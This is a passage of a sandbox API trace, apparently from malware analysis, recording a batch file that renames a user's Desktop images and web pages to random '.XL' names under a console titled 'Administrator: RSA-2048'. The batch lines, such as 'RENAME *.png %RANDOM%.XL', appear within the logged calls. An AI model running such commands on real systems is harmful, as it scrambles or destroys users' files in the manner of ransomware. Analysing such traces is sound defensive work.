lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\16132.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\16132.xl")) returned 1 [0037.794] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd0430, ftCreationTime.dwHighDateTime=0x1d5e368, ftLastAccessTime.dwLowDateTime=0x31503930, ftLastAccessTime.dwHighDateTime=0x1d5dc16, ftLastWriteTime.dwLowDateTime=0x31503930, ftLastWriteTime.dwHighDateTime=0x1d5dc16, nFileSizeHigh=0x0, nFileSizeLow=0x6510, dwReserved0=0x0, dwReserved1=0x0, cFileName="u-JXm.jpg", cAlternateFileName="")) returned 1 [0037.795] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u-JXm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u-jxm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\16132.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\16132.xl")) returned 0 [0037.796] GetLastError () returned 0xb7 [0037.796] _get_osfhandle (_FileHandle=2) returned 0xb [0037.796] GetFileType (hFile=0xb) returned 0x2 [0037.796] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0037.796] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0037.796] _get_osfhandle (_FileHandle=2) returned 0xb [0037.797] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0037.797] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.797] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.797] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0037.798] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24e3c0, ftCreationTime.dwHighDateTime=0x1d5e1b3, ftLastAccessTime.dwLowDateTime=0x22975c80, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0x22975c80, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x2fc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZBPLPhCRCXl.jpg", cAlternateFileName="")) returned 1 [0037.798] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZBPLPhCRCXl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbplphcrcxl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\16132.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\16132.xl")) returned 0 [0037.798] GetLastError () returned 0xb7 [0037.798] _get_osfhandle (_FileHandle=2) returned 0xb [0037.798] GetFileType (hFile=0xb) returned 0x2 [0037.798] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0037.798] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0037.799] _get_osfhandle (_FileHandle=2) returned 0xb [0037.799] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0037.799] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.799] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.799] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0037.800] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24e3c0, ftCreationTime.dwHighDateTime=0x1d5e1b3, ftLastAccessTime.dwLowDateTime=0x22975c80, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0x22975c80, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x2fc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZBPLPhCRCXl.jpg", cAlternateFileName="")) returned 0 [0037.800] GetLastError () returned 0x12 [0037.800] FindClose (in: hFindFile=0x4f4bc0 | out: hFindFile=0x4f4bc0) returned 1 [0037.800] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.800] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.800] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.800] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.801] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.801] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.801] SetConsoleInputExeNameW () returned 0x1 [0037.801] GetConsoleOutputCP () returned 0x1b5 [0037.801] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.801] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.801] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.802] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.802] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.802] SetFilePointer (in: hFile=0x74, lDistanceToMove=3431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0037.802] GetProcessHeap () returned 0x4e0000 [0037.802] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ce0 | out: hHeap=0x4e0000) returned 1 [0037.802] GetProcessHeap () returned 0x4e0000 [0037.802] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ac8 | out: hHeap=0x4e0000) returned 1 [0037.802] GetProcessHeap () returned 0x4e0000 [0037.802] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.803] GetProcessHeap () returned 0x4e0000 [0037.803] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b88 | out: hHeap=0x4e0000) returned 1 [0037.803] GetProcessHeap () returned 0x4e0000 [0037.803] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.803] GetProcessHeap () returned 0x4e0000 [0037.803] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.803] GetProcessHeap () returned 0x4e0000 [0037.803] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ae8 | out: hHeap=0x4e0000) returned 1 [0037.803] GetProcessHeap () returned 0x4e0000 [0037.803] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.803] GetProcessHeap () returned 0x4e0000 [0037.803] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.803] GetProcessHeap () returned 0x4e0000 [0037.803] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.803] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.803] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0037.803] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x18c6, lpOverlapped=0x0) returned 1 [0037.803] SetFilePointer (in: hFile=0x74, lDistanceToMove=3442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n\n") returned 11 [0037.804] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.804] GetFileType (hFile=0x74) returned 0x1 [0037.804] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.804] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.804] GetProcessHeap () returned 0x4e0000 [0037.804] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.804] GetProcessHeap () returned 0x4e0000 [0037.804] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.804] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.804] GetProcessHeap () returned 0x4e0000 [0037.804] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4a98 [0037.804] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4ab8 [0037.805] _tell (_FileHandle=3) returned 3442 [0037.805] _close (_FileHandle=3) returned 0 [0037.805] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0037.805] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0037.805] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0037.805] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0037.805] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0037.805] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0037.805] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0037.805] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0037.805] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0037.805] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0037.805] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0037.805] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0037.805] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0037.806] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0037.806] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0037.806] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0037.806] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0037.806] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0037.806] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0037.806] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0037.806] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0037.806] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.806] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.806] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f4ad8 [0037.806] GetProcessHeap () returned 0x4e0000 [0037.806] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ad8) returned 0x14 [0037.806] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0037.806] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.806] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.806] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.806] SetFilePointer (in: hFile=0x74, lDistanceToMove=3442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.807] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.807] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.807] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.807] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.807] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.807] GetFileType (hFile=0x74) returned 0x1 [0037.807] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.807] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.807] SetFilePointer (in: hFile=0x74, lDistanceToMove=3444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0037.807] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0037.807] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.807] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0037.807] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.807] GetFileType (hFile=0x74) returned 0x1 [0037.807] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0037.807] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.807] SetFilePointer (in: hFile=0x74, lDistanceToMove=3450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0037.807] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\n 16132.XL") returned 6 [0037.808] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.808] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0037.808] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.808] GetFileType (hFile=0x74) returned 0x1 [0037.808] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0037.808] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.808] SetFilePointer (in: hFile=0x74, lDistanceToMove=3452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0037.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0037.808] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.808] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0037.808] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.808] GetFileType (hFile=0x74) returned 0x1 [0037.808] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0037.808] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.808] SetFilePointer (in: hFile=0x74, lDistanceToMove=3478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0037.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0037.808] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.809] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0037.809] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.809] GetFileType (hFile=0x74) returned 0x1 [0037.809] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0037.809] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.809] SetFilePointer (in: hFile=0x74, lDistanceToMove=3489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0037.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.809] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.809] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0037.809] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.809] GetFileType (hFile=0x74) returned 0x1 [0037.809] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0037.809] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.809] SetFilePointer (in: hFile=0x74, lDistanceToMove=3491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0037.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.809] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.809] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0037.809] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.810] GetFileType (hFile=0x74) returned 0x1 [0037.810] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0037.810] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.810] SetFilePointer (in: hFile=0x74, lDistanceToMove=3497, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0037.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0037.810] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.810] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0037.810] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.810] GetFileType (hFile=0x74) returned 0x1 [0037.810] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0037.810] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.810] SetFilePointer (in: hFile=0x74, lDistanceToMove=3499, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0037.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0037.810] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.810] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0037.810] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.810] GetFileType (hFile=0x74) returned 0x1 [0037.810] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0037.811] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.811] SetFilePointer (in: hFile=0x74, lDistanceToMove=3525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0037.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0037.811] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.811] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0037.811] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.811] GetFileType (hFile=0x74) returned 0x1 [0037.811] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0037.811] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.811] SetFilePointer (in: hFile=0x74, lDistanceToMove=3536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0037.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0037.811] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.811] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0037.811] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.811] GetFileType (hFile=0x74) returned 0x1 [0037.811] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0037.811] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.811] SetFilePointer (in: hFile=0x74, lDistanceToMove=3538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0037.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.812] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.812] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0037.812] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.812] GetFileType (hFile=0x74) returned 0x1 [0037.812] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0037.812] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.812] SetFilePointer (in: hFile=0x74, lDistanceToMove=3545, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 